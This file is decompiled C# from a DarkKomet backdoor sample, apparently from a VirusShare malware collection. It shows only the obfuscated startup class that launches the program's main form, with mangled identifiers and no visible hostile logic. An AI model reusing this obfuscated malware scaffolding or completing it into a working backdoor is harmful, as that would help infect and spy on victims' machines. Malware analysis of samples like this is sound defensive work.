// Decompiled with JetBrains decompiler
// Type: .
// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null
// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe

using \u001B\u0004;
using \u007F\u0004;
using \u0096\u0004;
using Microsoft.VisualBasic.ApplicationServices;
using System;
using System.CodeDom.Compiler;
using System.Collections.Generic;
using System.ComponentModel;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Windows.Forms;

namespace \u001B\u0004
{
  [EditorBrowsable(EditorBrowsableState.Never)]
  [GeneratedCode("MyTemplate", "8.0.0.0")]
  internal class \u0091 : WindowsFormsApplicationBase
  {
    private static List<WeakReference> \u0001;

    [DebuggerNonUserCode]
    static \u0091()
    {
      try
      {
        \u0091.\u0001 = new List<WeakReference>();
      }
      catch (Exception ex)
      {
        \u0089\u0004.\u0017\u0005(ex);
        throw;
      }
    }

    [EditorBrowsable(EditorBrowsableState.Advanced)]
    [STAThread]
    internal static void \u0019\u0003([In] string[] obj0)
    {
      try
      {
        if (!\u0095\u0004.\u0005\u0002())
          return;
        try
        {
          Application.SetCompatibleTextRenderingDefault(\u0083\u0004.\u0096\u0006());
        }
        finally
        {
        }
        \u0081\u0004.\u007E\u0094\u0006((object) \u0094.\u001B\u0003(), obj0);
      }
      catch (Exception ex)
      {
        object[] objArray = new object[1]{ (object) obj0 };
        \u0091\u0004.\u008F\u0005(ex, objArray);
      }
    }

    public \u0091()
      : base(AuthenticationMode.Windows)
    {
      List<WeakReference> weakReferenceList1;
      try
      {
        weakReferenceList1 = \u0091.\u0001;
        \u001A\u0002.\u0014\u0004((object) weakReferenceList1);
        try
        {
          \u0091.\u0001.Add(new WeakReference((object) this));
        }
        finally
        {
          \u001A\u0002.\u0015\u0004((object) weakReferenceList1);
        }
        \u0084\u0004.\u007E\u009B\u0006((object) this, false);
        \u0084\u0004.\u007E\u009A\u0006((object) this, true);
        \u0084\u0004.\u007E\u0098\u0006((object) this, true);
        \u0086\u0004.\u007E\u0099\u0006((object) this, ShutdownMode.AfterMainFormCloses);
      }
      catch (Exception ex)
      {
        List<WeakReference> weakReferenceList2 = (object) weakReferenceList1;
        \u0089\u0004.\u0019\u0005(ex, (object) weakReferenceList2, (object) this);
        throw;
      }
    }

    protected override void OnCreateMainForm()
    {
      try
      {
        this.MainForm = (Form) \u0094.\u001D\u0003().\u001F\u0003();
      }
      catch (Exception ex)
      {
        \u0089\u0004.\u0018\u0005(ex, (object) this);
        throw;
      }
    }
  }
}
